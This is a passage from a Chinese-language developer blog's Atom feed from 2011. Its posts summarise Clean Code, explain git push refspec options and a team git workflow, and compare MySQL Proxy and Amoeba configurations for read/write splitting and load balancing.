$outImg");&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;blockquote class=""&gt;如果沒有錯誤，又沒有轉出的檔案 檢查一下資料夾權限是否限制寫入&lt;/blockquote&gt;&lt;br /&gt;Reference&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Installing the EPEL Repository on CentOS or RHEL&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-7478593303235863916?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/7478593303235863916/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=7478593303235863916' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7478593303235863916'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/7478593303235863916'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/php_22.html' title='PHP轉影音檔'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-508867824601376329</id><published>2011-08-19T22:20:00.004+08:00</published><updated>2011-08-19T22:31:17.782+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Engineering'/><title type='text'>書: Clean Code</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;What is clean code&lt;br /&gt;&lt;ul&gt;&lt;li&gt;"elegant and efficient" Bjarne Stroustrup, C++之父&lt;br /&gt;&lt;blockquote class=""&gt;寫的真好...&lt;/blockquote&gt;&lt;/li&gt;&lt;li&gt;"simple and direct" Grady Booch, OO大師&lt;br /&gt;&lt;blockquote class=""&gt;幾個字就說出精要，大師就是大師&lt;br /&gt;&lt;/blockquote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;為什麼會有bad code&lt;br /&gt;程式不斷修改，保持clean，混亂的程式碼才不會越滾越大&lt;br /&gt;導致沒辦法維護，記住童子軍的規則&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;The Boy Scout Rule&lt;/b&gt; &lt;br /&gt;Leave the campground cleaner than you found it.&lt;/blockquote&gt;&lt;br /&gt;5S&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Sort 命名易辯識&lt;/li&gt;&lt;li&gt;Systematize 歸類(知道到哪找)&lt;/li&gt;&lt;li&gt;Cleaning 潔簡&lt;/li&gt;&lt;li&gt;Standardization 一致的coding style&lt;/li&gt;&lt;li&gt;Self-discipline 遵守規定&lt;/li&gt;&lt;/ul&gt;總而言之就是Keep it clean&lt;br /&gt;Each function, each class, each module &lt;br /&gt;exposes a single-minded attitude&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Meaningful Names&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Use Intention-Revealing Names&lt;br /&gt;透過命名就能知其意圖，如果還需要註解來解釋它，就代表不夠清楚&lt;/li&gt;&lt;li&gt;Use Pronounceable Names &lt;br /&gt;使用可發音的Name幫助溝通&lt;/li&gt;&lt;li&gt;Use Searchable Names&lt;br /&gt;方便search及取代&lt;/li&gt;&lt;li&gt;Use Problem Domain Names&lt;br /&gt;沒有適合使用的term，就使用domain的term，讓接手維護的人至少還可以問domain專家，這代表什麼&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Functions&lt;br /&gt;&lt;ul&gt;&lt;li&gt; Do One Thing(Small)&lt;br /&gt;只做命名的事細節，包給其他function&lt;/li&gt;&lt;li&gt;Function Arguments The Ideal number of arguments is 0 有參數，增加理解困難   &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Comments&lt;br /&gt;Don’t comment bad code&lt;br /&gt;rewrite it 註解沒太多幫助，不如重寫重新整理&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;程式持續修改演化&lt;br /&gt;不可能一次把程式寫好&lt;br /&gt;First, Make It Work&lt;br /&gt;Then Make It Right&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;References&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.dotblogs.com.tw/hatelove/archive/2010/04/14/namingruleguide.aspx" id="viewpost_ascx_TitleUrl" title="Title of this entry."&gt;Clean Code - Meaningful Names&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-508867824601376329?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/508867824601376329/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=508867824601376329' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/508867824601376329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/508867824601376329'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/clean-code.html' title='書: Clean Code'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-2185849894838786044</id><published>2011-08-12T14:33:00.005+08:00</published><updated>2011-10-15T10:14:08.747+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git push 二三事</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;push的設定&lt;br /&gt;git push可夾很多參數&lt;br /&gt;還看不太懂，好好研究一下吧&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;git push &lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 即git push &amp;lt;remote&amp;gt;, 如果&amp;lt;remote&amp;gt;沒設定，便push到origin&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;b&gt;git push origin&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; 即git push origin :. &lt;br /&gt;&amp;nbsp;&amp;nbsp; The default behavior of this command when no &lt;refspec&gt; is given can be configured by setting the push option of the remote.&lt;br /&gt;&amp;nbsp;&amp;nbsp; For example, to default to pushing only the current branch to origin use git config remote.origin.push HEAD. Any valid &lt;refspec&gt; (like the ones in the examples below) can be configured as the default for git push origin.&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin&lt;/b&gt; :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 自動推到相同名稱的分支&lt;refspec&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin &lt;span style="color: red;"&gt;master&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; 將目前的master推到origin的master &lt;br /&gt;(most likely, it would find refs/heads/master), and update the same ref (e.g. refs/heads/master) in origin repository with it.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin &lt;span style="color: #cc0000;"&gt;HEAD&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;將目前所在的branch推回origin下，同名稱的branch(&lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;未建立，會自動建立&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;)&lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;git push origin master:satellite/master dev:satellite/dev&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Use the source ref that matches master (e.g. refs/heads/master) to update the ref that matches satellite/master (most probably&lt;br /&gt;&amp;nbsp; &amp;nbsp; refs/remotes/satellite/master) in the origin repository, then do the same for dev and satellite/dev.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin &lt;span style="color: #cc0000;"&gt;HEAD&lt;/span&gt;:&lt;span style="color: #38761d;"&gt;master &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;HEAD為目前所在branch,也可以直接下名稱；而後面master是push到origin下的branch&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin master:refs/heads/experimental&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Create the branch experimental in the origin repository by copying the current master branch. This form is only needed to create a new branch or&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; tag in the remote repository when the local name and the remote name are different; otherwise, the ref name on its own will work.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin :experimental&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Find a ref that matches experimental in the origin repository (e.g. refs/heads/experimental), and delete it. &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;li&gt;&lt;remote&gt;&lt;remote&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;refspec&gt;&lt;b&gt;git push origin +dev:master&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Update the origin repository’s master branch with the dev branch, allowing non-fast-forward updates. This can leave unreferenced commits dangling&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; in the origin repository. Consider the following situation, where a fast-forward is not possible:&lt;br /&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/refspec&gt;&lt;/remote&gt;&lt;/remote&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-2185849894838786044?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/2185849894838786044/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=2185849894838786044' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2185849894838786044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/2185849894838786044'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/git-push.html' title='git push 二三事'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-166277514278475905</id><published>2011-08-12T14:29:00.000+08:00</published><updated>2011-08-12T14:29:45.615+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='git'/><title type='text'>git運用流程</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;目前做法&lt;br /&gt;一台共用的測試機 + n台開發機&lt;br /&gt;&lt;br /&gt;雖然每個人可各自pull其他人的東西&lt;br /&gt;不過共同開發還是用1台做merge，其他人pull比較簡單點&lt;br /&gt;&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;push時機&lt;br /&gt;每次commit完&lt;br /&gt;便push到測試機，而push是push到測試機上自己的branch，這樣方便分辯誰push的&lt;br /&gt;再到測試機做merge，其他人做pull&lt;/li&gt;&lt;li&gt;pull時機&lt;br /&gt;每次commit完，就做pull&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/24036294-166277514278475905?l=kevyu.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kevyu.blogspot.com/feeds/166277514278475905/comments/default' title='張貼意見'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=24036294&amp;postID=166277514278475905' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/166277514278475905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/24036294/posts/default/166277514278475905'/><link rel='alternate' type='text/html' href='http://kevyu.blogspot.com/2011/08/git.html' title='git運用流程'/><author><name>kevyu</name><uri>http://www.blogger.com/profile/00231284922411887546</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_tTSUnirsVco/S24nTyH-VtI/AAAAAAAAE-s/0mIvsLzNnnc/S220/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-24036294.post-4973526723594392256</id><published>2011-08-10T16:55:00.034+08:00</published><updated>2011-08-15T11:55:46.416+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>MySQL Proxy &amp; Amoeba</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;做MySQL的效能多會用load balance&lt;br /&gt;目前MySQL的load balance多採用官方的MySQL Proxy及大陸的Amoeba&lt;br /&gt;以下整理網路上收集到的資訊，挺多簡體翻的 要習慣一下&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;MySQL Proxy&lt;br /&gt;安裝：&lt;a href="http://homeserver.com.tw/mysql/mysql-proxy%E8%AE%80%E5%AF%AB%E5%88%86%E6%B5%81%E4%B8%80-mysql-proxy%E7%9A%84%E5%AE%89%E8%A3%9D%E6%96%B9%E5%BC%8F/"&gt;mysql proxy讀寫分流(一)-mysql proxy的安裝方式&lt;/a&gt; &lt;br /&gt;說明：MySQL Proxy位於 client及MySQL server(s)中間&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.oreillynet.com/databases/2007/07/12/graphics/Proxy-overview.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://www.oreillynet.com/databases/2007/07/12/graphics/Proxy-overview.png" width="317" /&gt;&lt;/a&gt;&lt;/div&gt;MySQL Proxy可以monitor, analyze or transform their communication. 可達到:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; load balancing&lt;/li&gt;&lt;li&gt; failover&lt;/li&gt;&lt;li&gt; query analysis&lt;/li&gt;&lt;li&gt; query filtering and modification&lt;/li&gt;&lt;li&gt; ... and many more.&amp;nbsp; &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Amoeba&lt;br /&gt;安裝：&lt;a href="http://blog.yam.com/keynes0918/article/39548298"&gt;Amoeba For MySQL 實現資料庫負載平衡(讀寫分離)&lt;/a&gt;&lt;br /&gt;說明：Amoeba 也位於Client、Database Server(s)之間&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-txJPEDvOMPk/TkJVew4GOHI/AAAAAAAAFTo/yqpLo-NnwYM/s1600/amoeba.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="255" src="http://1.bp.blogspot.com/-txJPEDvOMPk/TkJVew4GOHI/AAAAAAAAFTo/yqpLo-NnwYM/s320/amoeba.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&amp;nbsp;Amoeba 具有負載均衡、高可用性、 sql過濾&lt;br /&gt;可承受達到讀寫分離、Query Route（解析sql query語句，並且根據條件與預先設定的規則，請求到指定的目標數據庫。可並發請求多台數據庫合併結果）&lt;br /&gt;對客戶端透明。主要降低數據切分帶來的複雜多數據庫結構、數據切分規則給應用&lt;br /&gt;帶來的影響。&lt;/li&gt;&lt;h2&gt;比較 in action&lt;/h2&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Load Blance及讀寫分離&lt;br /&gt;Master：Server1（可讀寫）&lt;br /&gt;Slaves：Server2, Server3, Server4（3個平等的數據庫。只讀/負載均衡）&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;MySQL Proxy&lt;br /&gt;&lt;code class="console"&gt;&lt;span style="color: #f1c232;"&gt;#設定db server變數&lt;/span&gt;&lt;br /&gt;Server1=10.1.1.1&amp;nbsp; &lt;span style="color: #f1c232;"&gt;#master&lt;/span&gt;&lt;br /&gt;Server2=10.2.1.1&amp;nbsp; &lt;span style="color: #f1c232;"&gt;#slave1&lt;/span&gt;&lt;br /&gt;Server3=10.3.1.1&amp;nbsp; &lt;span style="color: #f1c232;"&gt;#slave2&lt;/span&gt;&lt;br /&gt;Server4=10.4.1.1&amp;nbsp; &lt;span style="color: #f1c232;"&gt;#slave3&lt;/span&gt;&lt;br /&gt;ROOT_DIR=/usr/local&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #f1c232;"&gt;#指定讀寫server&lt;/span&gt;&lt;br /&gt;LUA_PATH="$ROOT_DIR/mysql-proxy/share/mysql-proxy/?.lua" $ROOT_DIR/mysql-proxy/sbin/mysql-proxy \&lt;br /&gt;--daemon \&lt;br /&gt;--proxy-backend-addresses=$Server1:3306 \&lt;br /&gt;--proxy-&lt;span style="color: red;"&gt;read-only&lt;/span&gt;-backend-addresses=$Server2:3306 \&lt;br /&gt;--proxy-&lt;span style="color: red;"&gt;read-only&lt;/span&gt;-backend-addresses=$Server3:3306 \&lt;br /&gt;--proxy-&lt;span style="color: red;"&gt;read-only&lt;/span&gt;-backend-addresses=$Server4:3306 \&lt;br /&gt;--proxy-lua-script=$ROOT_DIR/mysql-proxy/share/mysql-proxy/rw-splitting.lua&lt;/code&gt;&lt;br /&gt;這個例子中10.1.1.1為可寫&lt;br /&gt;限制10.2.1.1,10.3.1.1,10.4.1.1只能讀&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Amoeba&lt;br /&gt;amoeba提供讀寫分離pool相關配置。並且提供負載均衡配置。&lt;br /&gt;可配置server2、server3、server4形成一個虛擬的 virtualSlave,該配置提供負載均衡、failOver、故障恢復功能 &lt;br /&gt;&lt;code class="xml"&gt;&amp;lt;dbServer name=“virtualSlave” virtual=“true”&amp;gt;&lt;br /&gt;&amp;lt;poolConfig&amp;gt; &lt;br /&gt;&amp;lt;className&amp;gt;com.meidusa.amoeba.server.MultipleServerPool&amp;lt;/className&amp;gt;  &lt;br /&gt;&amp;lt;!-- 負載均衡參數 1=ROUNDROBIN , 2=WEIGHTBASED --&amp;gt; &lt;br /&gt;&amp;lt;property name="loadbalance"&amp;gt;1&amp;lt;/property&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;!-- 參與該pool負載均衡的poolName列表以逗號分割 --&amp;gt;  &lt;br /&gt;&amp;lt;property name="poolNames"&amp;gt; Server2,Server3,Server4&amp;lt;/property&amp;gt;  &lt;br /&gt;&amp;lt;/poolConfig&amp;gt;  &lt;br /&gt;&amp;lt;/dbServer&amp;gt;&lt;/code&gt;&lt;br /&gt;指派讀寫機&lt;br /&gt;&lt;code&gt;&amp;lt;queryRouter&amp;gt;  &lt;br /&gt;&amp;lt;className&amp;gt;com.meidusa.amoeba.mysql.parser.MysqlQueryRouter&amp;lt;/className&amp;gt;  &lt;br /&gt;&amp;lt;property name="LRUMapSize"&amp;gt;1500&amp;lt;/property&amp;gt; &lt;br /&gt;&amp;lt;property name="defaultPool"&amp;gt;server1&amp;lt;/property&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;property name="writePool"&amp;gt;server1&amp;lt;/property&amp;gt; &lt;br /&gt;&amp;lt;property name="readPool"&amp;gt;virtualSlave&amp;lt;/property&amp;gt; &lt;br /&gt;&lt;br /&gt;&amp;lt;property name="needParse"&amp;gt;true&amp;lt;/property&amp;gt; &lt;br /&gt;&amp;lt;/queryRouter&amp;gt;  &lt;br /&gt;&lt;/code&gt;那麼遇到update/insert/delete將 query語句發送到 wirtePool，將 select發送到 readPool機器中執行。&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;資料分割&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;MySQL Proxy&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Amoeba&lt;br /&gt;SELECT * from user_event where user_id='test' and &lt;span style="color: red;"&gt; gmt_create between Sysdate() -1 and Sysdate()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;如果根據gmt_create 時間進行數據切分，比如 6個月進行切分一次&lt;br /&gt;amoeba提供利用類似sql表達式進行數據切分：&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 規則1(對應服務器1)：&lt;br /&gt;&lt;code class="console"&gt;GMT_CREATE &amp;gt; to_date('2008-01-01','yyyy-mm-dd') &lt;br /&gt;AND GMT_CREATE &amp;lt; to_date('2008-05-31','yyyy-mm-dd') &lt;/code&gt;&lt;/li&gt;&lt;li&gt;規則2(對應服務器2)&lt;br /&gt;&lt;code class="console"&gt;GMT_CREATE &amp;gt; to_date('2008-06-01','yyyy-mm-dd') &lt;br /&gt;AND GMT_CREATE &amp;lt; to_date('2008-12-31','yyyy-mm-dd')  &lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;上面的sql的條件 gmt_create 與規則裡面的的gmt_create 進行交集判斷，如果存在交集則表示符合規則。  則會將sql轉移到 規則1 的相應的服務器上面執行。  &lt;br /&gt;利用amoeba寫出這種類似規則很容易，但是要想做到數據切分以後可線性擴容，那麼這樣的規則需要自己根據業務實際情況進行設置。  &lt;br /&gt;amoeba可同時將sql 並發分發到多台服務器、然後將結果合併再反饋給客戶端，而且amoeba內部現成採用無阻塞模式，工作線程是不會等待的,並發請求多台 database server情況下，客戶端等待的時間基本上面是性能最差的那台 database server＋amoeba內部解析協議的時間 &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;注意事項&lt;/h2&gt;沒實作過，也不知要注意什麼 還是看別人寫的吧&lt;ul&gt;&lt;li&gt;MySQL Proxy&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;同步延遲問題&lt;br /&gt;寫入後，其他slaves的同步問題，&lt;a href="http://homeserver.com.tw/mysql/mysql-proxy-rw-splitting-%E8%AE%80%E5%AF%AB%E5%88%86%E6%B5%81-%E8%B2%A0%E8%BC%89/"&gt;MySQL Proxy如何解決同步延遲問題&lt;/a&gt;&lt;/li&gt;&lt;li&gt;資料是亂碼&lt;br /&gt;有看到2種解決方法，還沒試過&lt;br /&gt;&lt;ul&gt;&lt;li&gt; 設定mysql server&lt;br /&gt;set names "utf8"也沒有效果。&lt;br /&gt;[mysqld]&lt;br /&gt;&lt;code class="console"&gt;skip-character-set-client-handshake&lt;br /&gt;init-connect='SET NAMES utf8'&lt;br /&gt;default-character-set=utf8&lt;/code&gt;&lt;/li&gt;&lt;li&gt;修改/etc/my.cnf 設定檔&lt;br /&gt;加入底下設定，即可解決亂碼問題(當然您要依據您的環境做修改)&lt;br /&gt;&lt;code class="console"&gt;default-character-set = utf8&lt;br /&gt;skip-character-set-client-handshake&lt;br /&gt;character-set-server = utf8&lt;br /&gt;collation-server = utf8_general_ci&lt;br /&gt;init-connect = SET NAMES utf8&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;Amoeba&lt;br /&gt;&amp;nbsp; &lt;a href="http://www.phpchina.com/?action-viewnews-itemid-39291"&gt;MySQL使用Amoeba作为Proxy时的注意事项&lt;/a&gt; 以下是截錄的     &lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;Amoeba不支持事务&lt;br /&gt;&lt;span style="color: #6aa84f;"&gt;p.s. 還不知道"事務"是什麼 不過官網似乎提到有支援了&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Amoeba不支持跨库join和排序&lt;br /&gt;跨庫的join和排序非常消耗資源，會導致性能嚴重下降，Amoeba沒有進行支持，只能做到分數據庫實例。&lt;/li&gt;&lt;li&gt;Amoeba不支持大數據量的查詢。&lt;br /&gt;不適合返回大量(超過10萬)數據的查詢，大數據量的查詢非常消耗內存，Amoeba在進行大數據量查詢時性能會非常差。當然，實際業務中需要進行大數據量查詢的情況會非常少或者根本沒必要實現這種情況。這裡所謂的大數據量查詢指的是一次查詢結果超過十萬行。&lt;/li&gt;&lt;li&gt;Amoeba需要更嚴格的SQL語句規範&lt;br /&gt;From 關鍵字後面如果不是子查詢，一律不能帶括號」()」；&lt;br /&gt;如果的表中字段名與關鍵字或者函數名一樣需要帶上字符` （比如：mytable.`order`）&lt;/li&gt;&lt;li&gt;&lt;h3 class="entrytitle" id="post-210"&gt;&lt;/h3&gt;&lt;a href="http://amoeba.meidusa.com/wordpress/?page_id=210" rel="bookmark"&gt;與直接操作mysql數據庫相比，amoeba性能的損失大概在怎麼一個範圍？ &lt;/a&gt;&lt;br /&gt;amoeba是屬於代理層，起碼要消耗2次網絡IO，加上amoeba自身的計算時候的消耗，&lt;br /&gt;如果數據庫的性能非常高，或者sql的執行並不消耗數據庫的磁盤IO，那麼這時候完全不能體現amoeba的好處，反而會降低整體的性能。具體數據目前沒有算過。&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;結論&lt;/h2&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;學習曲線&lt;br /&gt;由於MySQL Proxy需透過&lt;a href="http://www.lua.org/about.html"&gt;Lua Script&lt;/a&gt;&lt;br /&gt;看起來不難，不過要初學者在linux去碰這東西，還真是有難度&lt;br /&gt;&lt;br /&gt;而Amoeba設定就簡單的多&lt;br /&gt;只需要進行相關的XML配置就可以滿足需求&lt;br /&gt;用&lt;a href="http://sqljep.sourceforge.net/"&gt;SQLJEP&lt;/a&gt;語法寫規則&lt;br /&gt;雖然lua也不難，但比起設定檔的學習曲線還是有差&lt;/li&gt;&lt;li&gt;效能方面&lt;br /&gt;比官方的mysql proxy性能大致低10%~20%左右&lt;br 